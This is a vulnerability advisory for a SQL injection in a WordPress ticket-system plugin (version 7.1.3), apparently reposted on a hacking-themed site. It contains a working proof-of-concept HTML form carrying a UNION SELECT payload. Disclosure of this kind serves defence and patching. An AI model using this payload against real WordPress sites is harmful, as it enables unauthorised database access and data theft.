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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/

# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 7.1.3
# Tested on: Ubuntu 14.04

1 - Description:

Type user access: any user. $_POST[‘cat_id’] is not escaped. Is accessible for any user.

http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/

2 - Proof of Concept:

<form action="http://target/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>

3 - Timeline:


- 12/12/2016 – Discovered
- 13/12/2016 – Vendor notifed
- 16/12/2016 – Resolve issue version 7.1.5